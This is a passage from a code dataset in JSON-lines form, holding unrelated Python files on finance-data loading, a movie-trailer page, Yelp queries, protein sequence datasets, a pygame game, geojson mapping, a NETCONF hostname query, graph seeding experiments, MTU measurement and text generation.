'nonadiabatic_defect_steady_slfm',\n 'gold.pkl'))\n gold_library = Library.load_from_file(gold_file)\n\n for prop in gold_library.props:\n self.assertIsNone(assert_allclose(gold_library[prop], output_library[prop], rtol=2.e-4, atol=1.e-4))\n\n def test_parallel(self):\n output_library = run(num_procs=2)\n\n gold_file = abspath(join('tests',\n 'tabulation',\n 'nonadiabatic_defect_steady_slfm',\n 'gold.pkl'))\n gold_library = Library.load_from_file(gold_file)\n\n for prop in gold_library.props:\n self.assertIsNone(assert_allclose(gold_library[prop], output_library[prop], rtol=2.e-4, atol=1.e-4))\n\n\n if __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/tabulation/nonadiabatic_defect_steady_slfm/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"69756697","text":"import fresh_tomatoes\nimport media\n\n\n# Creating 9 instances of the class Movie of the media Module\ndjango = media.Movie(\n \"Django Unchained\",\n \"https://goo.gl/sDByYA\",\n \"https://www.youtube.com/watch?v=eUdM9vrCbow\")\n\nshawshank_redemption = media.Movie(\n \"The Shawshank Redemption\",\n \"https://goo.gl/BPqfPD\",\n \"https://www.youtube.com/watch?v=6hB3S9bIaco\")\n\nmean_girls = media.Movie(\n \"Mean Girls\",\n \"https://goo.gl/c6KPZK\",\n \"https://www.youtube.com/watch?v=KAOmTMCtGkI\")\n\nforrest_gump = media.Movie(\n \"Forrest Gump\",\n \"https://goo.gl/hmKFUu\",\n \"https://www.youtube.com/watch?v=uPIEn0M8su0\")\n\nthe_big_sick = media.Movie(\n \"The Big Sick\",\n \"https://goo.gl/kkjbkM\",\n \"https://www.youtube.com/watch?v=PJmpSMRQhhs\")\n\npitch_perfect = media.Movie(\n \"Pitch Perfect\",\n \"https://goo.gl/jUvB5F\",\n \"https://www.youtube.com/watch?v=tjlCqm6j0d0\")\n\njump_street = media.Movie(\n \"21 Jump Street\",\n \"https://goo.gl/yeopNC\",\n \"https://www.youtube.com/watch?v=ISJR4rVO0TQ\")\n\nspiderman_homecoming = media.Movie(\n \"Spider-Man: Homecoming\",\n \"https://goo.gl/Rn2ZJS\",\n \"https://www.youtube.com/watch?v=n9DwoQ7HWvI\")\n\nbridesmaids = media.Movie(\n \"Bridesmaids\",\n \"https://goo.gl/QFZEL8\",\n \"https://www.youtube.com/watch?v=1UW9Zks5L2A\")\n\n# Grouping the movies in a list\nfavorite_movies = [mean_girls, the_big_sick, pitch_perfect,\n jump_street, spiderman_homecoming, bridesmaids,\n forrest_gump, django, shawshank_redemption]\n\n\n# The open_movies_page function takes a list of movies as its argument\n# It then creates an HTML file which will display all of the movies\n# in the browser\nfresh_tomatoes.open_movies_page(favorite_movies)\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"639137232","text":"import os\n\nimport logbook\nimport pandas as pd\n\nfrom zipline.data.benchmark_china import get_benchmark_returns\nfrom zipline.data.loader import (get_benchmark_filename, get_data_filepath, has_data_for_dates, ONE_HOUR,\n last_modified_time)\nfrom zipline.utils.calendars.exchange_calendar_chn import get_calendar\nfrom zipline.data import treasuries_china\n\nlogger = logbook.Logger('loader_china')\n\nchn_cal = get_calendar('CHN')\ntrading_day_chn = chn_cal.day\ntrading_days_chn = chn_cal.all_trading_days\n\n\ndef ensure_benchmark_data(symbol, first_date, last_date, now, trading_day):\n \"\"\"\n Ensure we have benchmark data for `symbol` from `first_date` to `last_date`\n\n Parameters\n ----------\n symbol : str\n The symbol for the benchmark to load.\n first_date : pd.Timestamp\n First required date for the cache.\n last_date : pd.Timestamp\n Last required date for the cache.\n now : pd.Timestamp\n The current time. This is used to prevent repeated attempts to\n re-download data that isn't available due to scheduling quirks or other\n failures.\n trading_day : pd.CustomBusinessDay\n A trading day delta. Used to find the day before first_date so we can\n get the close of the day prior to first_date.\n\n We attempt to download data unless we already have data stored at the data\n cache for `symbol` whose first entry is before or on `first_date` and whose\n last entry is on or after `last_date`.\n\n If we perform a download and the cache criteria are not satisfied, we wait\n at least one hour before attempting a redownload. This is determined by\n comparing the current time to the result of os.path.getmtime on the cache\n path.\n \"\"\"\n path = get_data_filepath(get_benchmark_filename(symbol))\n\n # If the path does not exist, it means the first download has not happened\n # yet, so don't try to read from 'path'.\n if os.path.exists(path):\n try:\n data = pd.Series.from_csv(path).tz_localize('UTC')\n if has_data_for_dates(data, first_date, last_date):\n return data\n\n # Don't re-download if we've successfully downloaded and written a\n # file in the last hour.\n last_download_time = last_modified_time(path)\n if (now - last_download_time) <= ONE_HOUR:\n logger.warn(\n \"Refusing to download new benchmark data because a \"\n \"download succeeded at %s.\" % last_download_time\n )\n return data\n\n except (OSError, IOError, ValueError) as e:\n # These can all be raised by various versions of pandas on various\n # classes of malformed input. Treat them all as cache misses.\n logger.info(\n \"Loading data for {path} failed with error [{error}].\".format(\n path=path, error=e,\n )\n )\n logger.info(\n \"Cache at {path} does not have data from {start} to {end}.\\n\"\n \"Downloading benchmark data for '{symbol}'.\",\n start=first_date,\n end=last_date,\n symbol=symbol,\n path=path,\n )\n\n try:\n data = get_benchmark_returns(symbol, first_date - trading_day, last_date)\n data.to_csv(path)\n except (OSError, IOError):\n logger.exception('failed to cache the new benchmark returns')\n if not has_data_for_dates(data, first_date, last_date):\n logger.warn(\"Still don't have expected data after redownload!\")\n return data\n\n\ndef ensure_treasury_data(bm_symbol, first_date, last_date, now):\n \"\"\"\n Ensure we have treasury data from treasury module associated with\n `bm_symbol`.\n\n Parameters\n ----------\n bm_symbol : str\n Benchmark symbol for which we're loading associated treasury curves.\n first_date : pd.Timestamp\n First date required to be in the cache.\n last_date : pd.Timestamp\n Last date required to be in the cache.\n now : pd.Timestamp\n The current time. This is used to prevent repeated attempts to\n re-download data that isn't available due to scheduling quirks or other\n failures.\n\n We attempt to download data unless we already have data stored in the cache\n for `module_name` whose first entry is before or on `first_date` and whose\n last entry is on or after `last_date`.\n\n If we perform a download and the cache criteria are not satisfied, we wait\n at least one hour before attempting a redownload. This is determined by\n comparing the current time to the result of os.path.getmtime on the cache\n path.\n \"\"\"\n loader_module, filename = treasuries_china, bm_symbol + '_treasuries.csv'\n first_date = max(first_date, loader_module.earliest_possible_date())\n path = get_data_filepath(filename)\n\n # If the path does not exist, it means the first download has not happened\n # yet, so don't try to read from 'path'.\n if os.path.exists(path):\n try:\n data = pd.DataFrame.from_csv(path).tz_localize('UTC')\n if has_data_for_dates(data, first_date, last_date):\n return data\n\n # Don't re-download if we've successfully downloaded and written a\n # file in the last hour.\n last_download_time = last_modified_time(path)\n if (now - last_download_time) <= ONE_HOUR:\n logger.warn(\n \"Refusing to download new treasury data because a \"\n \"download succeeded at %s.\" % last_download_time\n )\n return data\n\n except (OSError, IOError, ValueError) as e:\n # These can all be raised by various versions of pandas on various\n # classes of malformed input. Treat them all as cache misses.\n logger.info(\n \"Loading data for {path} failed with error [{error}].\".format(\n path=path, error=e,\n )\n )\n\n try:\n data = loader_module.get_treasury_data(first_date, last_date)\n data.to_csv(path)\n except (OSError, IOError):\n logger.exception('failed to cache treasury data')\n if not has_data_for_dates(data, first_date, last_date):\n logger.warn(\"Still don't have expected data after redownload!\")\n return data\n\n\ndef load_market_data(trading_day=trading_day_chn,\n trading_days=trading_days_chn,\n bm_symbol='000300'):\n first_date = trading_days[0]\n now = pd.Timestamp.utcnow()\n # last_date = trading_days[trading_days.get_loc(now, method='ffill') - 2]\n last_date = trading_days[-1]\n br = ensure_benchmark_data(\n bm_symbol,\n first_date,\n last_date,\n now,\n # We need the trading_day to figure out the close prior to the first\n # date so that we can compute returns for the first date.\n trading_day,\n )\n tc = ensure_treasury_data(\n bm_symbol,\n first_date,\n last_date,\n now,\n )\n benchmark_returns = br[br.index.slice_indexer(first_date, last_date)]\n treasury_curves = tc[tc.index.slice_indexer(first_date, last_date)]\n return benchmark_returns, treasury_curves\n","sub_path":"zipline/data/loader_china.py","file_name":"loader_china.py","file_ext":"py","file_size_in_byte":7246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83867561","text":"# Answer to Challenge 9: Make an interactive version that prompts users for\n# input.\n#\n# This is an interactive version of challenge_8.py\n\nfrom yelpapi import YelpAPI\nfrom yelp_authentication import CONSUMER_KEY, CONSUMER_SECRET, TOKEN, TOKEN_SECRET\n\nyelp_api = YelpAPI(CONSUMER_KEY, CONSUMER_SECRET, TOKEN, TOKEN_SECRET)\n\n# Example search by location text and term. Take a look at\n# http://www.yelp.com/developers/documentation/v2/search_api for\n# the various options available.\n\nsearch_term = input(\"What do you want to search for: \")\n\nresponse = yelp_api.search_query(term=search_term, location='seattle, wa', sort=2, limit=20)\n\ncounter = 0\nfor business in response['businesses']:\n if business['review_count'] >= 100:\n counter = counter + 1\n\nprint(\"of the 20 highest rated restaurants in seattle, {} have 100 or fewer reviews\".format(counter))\n\n\n","sub_path":"challenge_9.py","file_name":"challenge_9.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"289946458","text":"\"\"\"Implementation of ProteinSequenceDataset.\"\"\"\nimport torch\n\nfrom ..proteins.protein_feature_language import ProteinFeatureLanguage\nfrom ..proteins.protein_language import ProteinLanguage\nfrom ..proteins.transforms import SequenceToTokenIndexes\nfrom ..transforms import (\n AugmentByReversing,\n Compose,\n LeftPadding,\n ListToTensor,\n Randomize,\n ToTensor,\n)\nfrom ._fasta_eager_dataset import _FastaEagerDataset\nfrom ._fasta_lazy_dataset import _FastaLazyDataset\nfrom ._smi_eager_dataset import _SmiEagerDataset\nfrom ._smi_lazy_dataset import _SmiLazyDataset\nfrom .base_dataset import DatasetDelegator, KeyDataset\nfrom .utils import concatenate_file_based_datasets\n\nSEQUENCE_DATASET_IMPLEMENTATIONS = { # get class and acceptable keywords\n '.csv': {\n 'eager': (_SmiEagerDataset, {'index_col', 'names'}),\n 'lazy': (_SmiLazyDataset, {'chunk_size', 'index_col', 'names'}),\n }, # .smi like .csv\n '.smi': {\n 'eager': (_SmiEagerDataset, {'index_col', 'names'}),\n 'lazy': (_SmiLazyDataset, {'chunk_size', 'index_col', 'names'}),\n },\n '.fasta': {\n 'eager': (_FastaEagerDataset, {'gzipped', 'name'}),\n 'lazy': (\n _FastaLazyDataset,\n {\n 'name',\n # args to pyfaidx.Fasta\n 'default_seq',\n 'key_function',\n 'as_raw',\n 'strict_bounds',\n 'read_ahead',\n 'mutable',\n 'split_char',\n 'duplicate_action',\n 'filt_function',\n 'one_based_attributes',\n 'read_long_names',\n 'sequence_always_upper',\n 'rebuild',\n 'build_index',\n },\n ),\n },\n '.fasta.gz': {\n 'eager': (_FastaEagerDataset, {'gzipped', 'name'}),\n # requires Biopython installation\n 'lazy': (\n _FastaLazyDataset,\n {\n 'name',\n # args to pyfaidx.Fasta\n 'default_seq',\n 'key_function',\n 'as_raw',\n 'strict_bounds',\n 'read_ahead',\n 'mutable',\n 'split_char',\n 'duplicate_action',\n 'filt_function',\n 'one_based_attributes',\n 'read_long_names',\n 'sequence_always_upper',\n 'rebuild',\n 'build_index',\n },\n ),\n },\n}\n\n\ndef protein_sequence_dataset(\n *filepaths: str, filetype: str, backend: str, **kwargs\n) -> KeyDataset:\n \"\"\"Return a dataset of protein sequences.\"\"\"\n try:\n # hardcoded factory\n dataset_class, valid_keys = SEQUENCE_DATASET_IMPLEMENTATIONS[filetype][backend]\n except KeyError:\n raise ValueError( # filetype checked already\n f'backend {backend} not supported for {filetype}.'\n )\n\n kwargs['gzipped'] = True if filetype == '.fasta.gz' else False\n # prune unsupported arguments\n kwargs = dict((k, v) for k, v in kwargs.items() if k in valid_keys)\n kwargs['name'] = 'Sequence'\n\n return concatenate_file_based_datasets(\n filepaths=filepaths, dataset_class=dataset_class, **kwargs\n )\n\n\nclass ProteinSequenceDataset(DatasetDelegator):\n \"\"\"\n Protein Sequence dataset using a Language to transform sequences.\n\n \"\"\"\n\n def __init__(\n self,\n *filepaths: str,\n filetype: str = '.smi',\n protein_language: ProteinLanguage = None,\n amino_acid_dict: str = 'iupac',\n padding: bool = True,\n padding_length: int = None,\n add_start_and_stop: bool = False,\n augment_by_revert: bool = False,\n randomize: bool = False,\n device: torch.device = (\n torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n ),\n backend: str = 'eager',\n iterate_dataset: bool = False,\n name: str = 'protein-sequences',\n **kwargs,\n ) -> None:\n \"\"\"\n Initialize a Protein Sequence dataset.\n\n Args:\n *filepaths (Files): paths to .smi, .csv/.fasta/.fasta.gz file\n with the sequences.\n filetype (str): From {.smi, .csv, .fasta, .fasta.gz}.\n protein_language (ProteinLanguage): a ProteinLanguage (or child)\n instance, e.g. ProteinFeatureLanguage. Defaults to None,\n creating a default instance.\n amino_acid_dict (str): Type of dictionary used for amino acid\n sequences. Defaults to 'iupac', alternative is 'unirep'.\n padding (bool): pad sequences to longest in the protein language.\n Defaults to True.\n padding_length (int): manually sets number of applied paddings,\n applies only if padding is True. Defaults to None.\n add_start_and_stop (bool): add start and stop token indexes.\n Defaults to False.\n augment_by_revert (bool): perform Protein augmentation by reverting\n Sequences. Defaults to False.\n randomize (bool): perform a true randomization of Protein tokens.\n Defaults to False.\n device (torch.device): device where the tensors are stored.\n Defaults to gpu, if available.\n iterate_dataset (bool): whether to go through all items in the\n dataset to extend/build vocab, find longest sequence, and\n checks the passed padding length if applicable. Defaults to\n False.\n backend (str): memory management backend.\n Defaults to eager, prefer speed over memory consumption.\n name (str): name of the ProteinSequenceDataset.\n kwargs (dict): additional arguments for dataset constructor.\n \"\"\"\n\n # Parse language object and data paths\n self.filepaths = filepaths\n self.filetype = filetype\n self.backend = backend\n\n assert filetype in [\n '.csv',\n '.smi',\n '.fasta',\n '.fasta.gz',\n ], f'Unknown filetype given {filetype}'\n self.name = name\n\n # setup dataset\n self._setup_dataset(**kwargs)\n DatasetDelegator.__init__(self) # delegate to self.dataset\n if self.has_duplicate_keys:\n raise KeyError(f'Please remove duplicates from your {self.filetype} file.')\n\n if protein_language is None:\n self.protein_language = ProteinLanguage(\n amino_acid_dict=amino_acid_dict, add_start_and_stop=add_start_and_stop\n )\n else:\n self.protein_language = protein_language\n assert (\n add_start_and_stop == protein_language.add_start_and_stop\n ), f'add_start_and_stop was \"{add_start_and_stop}\", but given '\n f'Protein Language has {protein_language.add_start_and_stop}.'\n\n if iterate_dataset:\n for sequence in self.dataset:\n # sets max_token_sequence_length\n self.protein_language.add_sequence(sequence)\n\n # Set up transformation paramater\n self.padding = padding\n self.padding_length = self.padding_length = (\n self.protein_language.max_token_sequence_length\n if padding_length is None\n else padding_length\n )\n self.randomize = randomize\n self.augment_by_revert = augment_by_revert\n self.device = device\n\n # Build up cascade of Protein transformations\n # Below transformations are optional\n _transforms = []\n if self.augment_by_revert:\n _transforms += [AugmentByReversing()]\n self.language_transforms = Compose(_transforms)\n\n # Run once over dataset to add missing tokens to smiles language\n for index in range(len(self.dataset)):\n self.protein_language.add_sequence(\n self.language_transforms(self.dataset[index])\n )\n transforms = _transforms.copy()\n transforms += [SequenceToTokenIndexes(protein_language=self.protein_language)]\n if self.randomize:\n transforms += [Randomize()]\n if self.padding:\n if padding_length is None:\n self.padding_length = self.protein_language.max_token_sequence_length\n transforms += [\n LeftPadding(\n padding_length=self.padding_length,\n padding_index=self.protein_language.token_to_index[''],\n )\n ]\n if isinstance(self.protein_language, ProteinFeatureLanguage):\n transforms += [ListToTensor(device=self.device)]\n elif isinstance(self.protein_language, ProteinLanguage):\n transforms += [ToTensor(device=self.device)]\n else:\n raise TypeError(\n 'Please choose either ProteinLanguage or ' 'ProteinFeatureLanguage'\n )\n self.transform = Compose(transforms)\n\n def _setup_dataset(self, **kwargs) -> None:\n \"\"\"Setup the dataset.\"\"\"\n self.dataset = protein_sequence_dataset(\n *self.filepaths, filetype=self.filetype, backend=self.backend, **kwargs\n )\n\n def __getitem__(self, index: int) -> torch.Tensor:\n \"\"\"\n Generates one sample of data.\n\n Args:\n index (int): index of the sample to fetch.\n\n Returns:\n torch.Tensor: a torch tensor of token indexes,\n for the current sample.\n \"\"\"\n return self.transform(self.dataset[index])\n","sub_path":"pytoda/datasets/protein_sequence_dataset.py","file_name":"protein_sequence_dataset.py","file_ext":"py","file_size_in_byte":9618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"570302394","text":"from index.models import Assessment\r\nfrom index.scores import *\r\nfrom index.keys import *\r\n\r\n# get scores\r\n\r\ndef get_physical_score(assessment):\r\n\tkeys = get_physical_keys(assessment)\r\n\ttot = 0\r\n\tsc = 0\r\n\tfor k in keys:\r\n\t\tval = assessment.__dict__[k]\r\n\t\tif val is not None:\r\n\t\t\tscore = PHYSICAL_SCORES[k][val]\r\n\t\t\tif score is not None:\r\n\t\t\t\tsc = sc + score\r\n\t\t\t\ttot = tot + PHYSICAL_TOTAL_SCORES[k]\r\n\tif tot == 0:\r\n\t\treturn None\r\n\treturn sc/tot\r\n\r\ndef get_lifestyle_score(assessment):\r\n\tkeys = get_lifestyle_keys(assessment)\r\n\ttot = 0\r\n\tsc = 0\r\n\tfor k in keys:\r\n\t\tval = assessment.__dict__[k]\r\n\t\tif val is not None:\r\n\t\t\tscore = LIFESTYLE_SCORES[k][val]\r\n\t\t\tif score is not None:\r\n\t\t\t\tsc = sc + score\r\n\t\t\t\ttot = tot + LIFESTYLE_TOTAL_SCORES[k]\r\n\tif tot == 0:\r\n\t\treturn None\r\n\treturn sc/tot\r\n\r\ndef get_environment_score(assessment):\r\n\tkeys = get_environment_keys(assessment)\r\n\ttot = 0\r\n\tsc = 0\r\n\tfor k in keys:\r\n\t\tval = assessment.__dict__[k]\r\n\t\tif val is not None:\r\n\t\t\tscore = ENVIRONMENT_SCORES[k][val]\r\n\t\t\tif score is not None:\r\n\t\t\t\tsc = sc + score\r\n\t\t\t\ttot = tot + ENVIRONMENT_TOTAL_SCORES[k]\r\n\tif tot == 0:\r\n\t\treturn None\r\n\treturn sc/tot\r\n\r\ndef get_total_score(assessment):\r\n\tbase_scores = {\r\n\t\t'physical': get_physical_score(assessment),\r\n\t\t'lifestyle': get_lifestyle_score(assessment),\r\n\t\t'environment': get_environment_score(assessment)\r\n\t}\r\n\tif None in base_scores.values():\r\n\t\treturn None\r\n\ttot = 0\r\n\tfor k in base_scores.keys():\r\n\t\ttot = tot + ((SCORE_WEIGHTS[k] / 100) * base_scores[k])\r\n\treturn tot\r\n","sub_path":"officedoctor/index/calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"411341470","text":"from gamelib import*\r\n\r\ngame = Game(800,600,\"Death Match\")\r\nalien = Image(\"deathmatch\\\\alien.png\",game)\r\ndroid1 = Image(\"deathmatch\\\\droid1.png\",game)\r\nbk = Image(\"deathmatch\\\\apocalypse.jpg\",game)\r\ncrosshair = Image(\"images\\\\crosshair.png\",game)\r\ncrosshair.resizeTo(100,100)\r\n\r\nbk.resizeTo(800,600)\r\nalien.resizeTo(100,100)\r\ndroid1.resizeTo(100,100)\r\nalien.setSpeed(6,60)\r\ndroid1.setSpeed(6,60)\r\ndroid1.moveTo(150,150)\r\n\r\ntitle = Image(\"deathmatch\\\\DeathMatchTitle.gif\",game)\r\nbk.draw()\r\ntitle.draw()\r\ngame.drawText(\"Press [SPACE] to play\",320,400,Font(green,25,black))\r\ngame.drawText(\"TA Games\",50,50,Font(red,40,black))\r\ngame.update(1)\r\ngame.wait(K_SPACE)\r\n\r\n\r\n\r\n\r\nwhile not game.over:\r\n game.processInput()\r\n bk.draw()\r\n alien.move(\"True\")\r\n droid1.move(\"True\")\r\n\r\n crosshair.moveTo(mouse.x,mouse.y)\r\n if alien.collidedWith(mouse) and mouse.LeftButton: \r\n game.score+=10\r\n x = randint(150,650)\r\n y = randint(150,450)\r\n alien.moveTo(x,y)\r\n \r\n if droid1.collidedWith(mouse) and mouse.LeftButton:\r\n game.score+=10\r\n x = randint(150,650)\r\n y = randint(150,450)\r\n droid1.moveTo(x,y)\r\n \r\n\r\n\r\n\r\n if droid1.collidedWith(alien):\r\n game.score-=8\r\n\r\n \r\n\r\n if game.score>=200:\r\n game.drawText(\"You win\",300,0,Font(blue,40,black))\r\n game.drawText(\"Game Over\",game.width/4,game.height/3,Font(blue,90,black))\r\n game.drawText(\"Press [ESC] to Exit\",game.width/2 + 80,game.height - 50,Font(black,40,blue))\r\n game.over = True\r\n game.update(1)\r\n game.wait(K_ESCAPE)\r\n \r\n game.displayScore()\r\n game.update(20)\r\ngame.quit()\r\n \r\n \r\n\r\n\r\n\r\n\r\n","sub_path":"DEATHMATCH final.py","file_name":"DEATHMATCH final.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"352156028","text":"\"\"\"Geojson mapping\"\"\"\nimport time\nimport json\nimport itertools\nfrom typing import Dict, List\n\nfrom shapely.geometry import Polygon, Point\n\n\nGEOJSON_FILE = \"\"\nINPUT_ADDR_LATLNG = \"\"\nOUTPUT_FILE = \"\"\n\n\ndef flatten(nested_list: List[List[List[float]]]) -> List[List[float]]:\n \"\"\"Flatten nested list\"\"\"\n return list(itertools.chain.from_iterable(nested_list))\n\n\ndef get_coa_map() -> Dict[str, Polygon]:\n \"\"\"Get geojson map data from Council of Argiculture\"\"\"\n coa_map = dict()\n with open(GEOJSON_FILE, \"r\") as f_reader:\n doc = json.load(f_reader)\n features = doc[\"features\"]\n for feature in features:\n coa_map[feature[\"id\"]] = Polygon(flatten(feature[\"geometry\"][\"coordinates\"]))\n return coa_map\n\n\ndef main():\n \"\"\"Main function\"\"\"\n coa_map = get_coa_map()\n f_writer = open(f\"{OUTPUT_FILE}\", \"w\")\n\n start = time.time()\n with open(f\"{INPUT_ADDR_LATLNG}\", \"r\") as f_reader:\n\n for i, line in enumerate(f_reader):\n line = line.strip()\n _, lat, lng = line.split(\",\")\n point = Point(float(lng), float(lat))\n for coa_id, polygon in coa_map.items():\n if polygon.contains(point):\n f_writer.write(f\"{line},{coa_id}\\n\")\n print(i, line, coa_id)\n print(f\"Total time:{(time.time() - start) / 60}s\")\n f_writer.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"geojson_mapping.py","file_name":"geojson_mapping.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"607931744","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom ncclient import manager\n\nwith manager.connect(\n host='10.10.10.5',\n port=22,\n username='cisco',\n password='cisco',\n device_params={'name': 'nexus'},\n hostkey_verify=False,\n allow_agent=False,\n look_for_keys=False\n) as device:\n\n get_filter = \"\"\"\n \n \n \n \n \"\"\"\n\n nc_get_reply = device.get(('subtree', get_filter))\n print(nc_get_reply.xml)\n ns_map = {'mod': 'http://www.cisco.com/nxos:1.0:vdc_mgr'}\n xml_rsp = nc_get_reply.data_ele.find('.//mod:hostname', ns_map)\n value = xml_rsp.text\n print(value)\n","sub_path":"NPDESI/NX/NX_NETCONF_GET_HOSTNAME.py","file_name":"NX_NETCONF_GET_HOSTNAME.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"233419041","text":"import sys\nsys.path.append('../')\nsys.path.append('../../')\nimport click\nimport os\nimport json\nfrom joblib import Parallel, delayed\n\nfrom models.seeding.vanilla_greedy import VanillaSeedingModel\nfrom helper_methods import *\n\nRAW_DATA_ROOT = '../../raw_data/homophilic_directed_graphs/'\nFIG_DATA_ROOT = './fig_data/'\nP_MS = [0.5, 0.6, 0.7, 0.8]\nH_S = [0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\nNUM_RELS = 10000\nK = 200\nNUM_GRAPHS = 20\n\n\ndef dump_seeding_data_file(n, p_M, h, b_p, k, graph_index):\n graph_path = (RAW_DATA_ROOT \n + '/n_' + str(n)\n + '/p_M_' + str(p_M)\n + '/h_' + str(h)\n + '/graph_' + str(graph_index) + '.json')\n \n graph = fetch_graph(graph_path + '.json')\n majority = calculate_majority(graph)\n \n get_diffusion_probability = lambda u, v, u_label, v_label : b_p\n \n seeder = VanillaSeedingModel(graph = graph,\n majority = majority, \n get_diffusion_probability = get_diffusion_probability, \n num_rels = NUM_RELS,\n k = K)\n fig_data = seeder.generate_seeding_data()\n \n dump_path = (FIG_DATA_ROOT \n + '/n_' + str(n)\n + '/p_M_' + str(p_M)\n + '/h_' + str(h)\n + '/b_p_' + str(b_p)\n + '/data_for_graph_' + str(graph_index) + '.json')\n os.makedirs(os.path.dirname(dump_path), exist_ok = True)\n json.dump(fig_data, open(dump_path, 'w'), indent = 2)\n \n@click.command()\n@click.option('--n', default = 20000)\n@click.option('--b_p', default = 0.01)\n@click.option('--n_jobs', default = 2)\ndef run_script(n, b_p, n_jobs):\n param_collection = [(graph_index, p_M, h)\n for graph_index in range(NUM_GRAPHS)\n for p_M in P_MS\n for h in H_S]\n \n parallel = Parallel(n_jobs = n_jobs, verbose=10)\n parallel(\n delayed(dump_seeding_data_file)(\n n = n,\n p_M = p_M,\n h = h,\n b_p = b_p, \n k = K,\n graph_index = graph_index\n )\n for (graph_index, p_M, h) in param_collection\n )\n\nif __name__ == \"__main__\":\n run_script() \n\n","sub_path":"experiments/fig_3/run_fig3.py","file_name":"run_fig3.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"321008426","text":"import subprocess\nimport asyncio\nimport traceback\nimport json\nfrom log_settings import getStreamLogger\nfrom datetime import datetime\nfrom constants import *\nfrom utilities import server_utils\n\n'''\n Starts a \"plpmtu_reverse\" subproc instance\n and returns the subproc object\n @PARAMS:\n ofile : the output file for the reverse\n mtu function\n @RETURN:\n plpmtu_process : process object of the reverse mtu\n measurer\n'''\ndef start_mtu_reverse(ofile):\n try:\n plpmtu_process = subprocess.Popen([\"./plpmtu_reverse\"],stdout = ofile, stderr = ofile)\n print(\"PLPMTU REVERSE started\")\n except:\n print(\"FAILED TO START PLPMTU REVERSE\")\n try:\n plpmtu_process.kill()\n except:\n pass\n raise\n return plpmtu_process\n\n'''\n Parses mtu subprocess output from a file\n @PARAMS:\n ofile : the output filename of the reverse mtu process\n @RETURN:\n mtu_results : mtu value\n'''\ndef end_mtu_reverse(ofile):\n mtu_results = None\n try:\n mtu_results = server_utils.parse_mtu(ofile)\n print(\"mtu done\")\n except:\n print(\"mtu parsing error\")\n raise\n return mtu_results\n\n'''\n wrapper for the entire reverse mtu measurement process\n and returns the json string value of the\n Maximum Transmission Unit\n @PARAMS:\n websocket : websocket object\n path :\n'''\nasync def measure_mtu(websocket, path):\n go_signal = await websocket.recv()\n mtu = None\n filename = \"tempfiles/reverse_mode/mtu_reverse_temp\"\n mtu_reverse_proc = None\n try:\n ofile = open(filename, \"w+\")\n mtu_reverse_proc = start_mtu_reverse(ofile)\n await websocket.send(\"plpmtu started\")\n mtu_reverse_proc.wait(timeout=20)\n ofile.close()\n mtu = end_mtu_reverse(filename)\n except:\n print(\"plpmtu failed\")\n traceback.print_exc()\n try:\n mtu_reverse_proc.kill()\n except:\n pass\n try:\n ret_dict = {\"MTU\":mtu}\n await websocket.send(json.dumps(ret_dict))\n except:\n await websocket.close()\n # done\n\n","sub_path":"old_scripts/old_imp/mtu_process.py","file_name":"mtu_process.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"394835140","text":"import os, sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom analysis.train_model_embeddings import make_sequences\nfrom data.reader import read_alice\n\nimport random\nimport numpy as np\n\ndef generate_output(model,\n sequences,\n idx_word,\n training_length=50,\n new_words=50,\n diversity=1,\n return_output=False,\n n_gen=1):\n \"\"\"Generate `new_words` words of output from a trained model and format into HTML.\"\"\"\n\n # Choose a random sequence\n seq = random.choice(sequences)\n\n # Choose a random starting point\n seed_idx = random.randint(0, len(seq) - training_length - 10)\n # Ending index for seed\n end_idx = seed_idx + training_length\n\n gen_list = []\n\n for n in range(n_gen):\n # Extract the seed sequence\n seed = seq[seed_idx:end_idx]\n original_sequence = [idx_word[i] for i in seed]\n generated = seed[:] + ['#']\n\n # Find the actual entire sequence\n actual = generated[:] + seq[end_idx:end_idx + new_words]\n\n # Keep adding new words\n for i in range(new_words):\n\n # Make a prediction from the seed\n preds = model.predict(np.array(seed).reshape(1, -1))[0].astype(\n np.float64)\n\n # Diversify\n preds = np.log(preds) / diversity\n exp_preds = np.exp(preds)\n\n # Softmax\n preds = exp_preds / sum(exp_preds)\n\n # Choose the next word\n probas = np.random.multinomial(1, preds, 1)[0]\n\n next_idx = np.argmax(probas)\n\n # New seed adds on old word\n seed = seed[1:] + [next_idx]\n generated.append(next_idx)\n\n # Showing generated and actual abstract\n n = []\n\n for i in generated:\n n.append(idx_word.get(i, '< --- >'))\n\n gen_list.append(n)\n\n a = []\n\n for i in actual:\n a.append(idx_word.get(i, '< --- >'))\n\n a = a[training_length:]\n\n gen_list = [\n gen[training_length:training_length + len(a)] for gen in gen_list\n ]\n\n if return_output:\n return original_sequence, gen_list, a\n\n # HTML formatting\n seed_html = 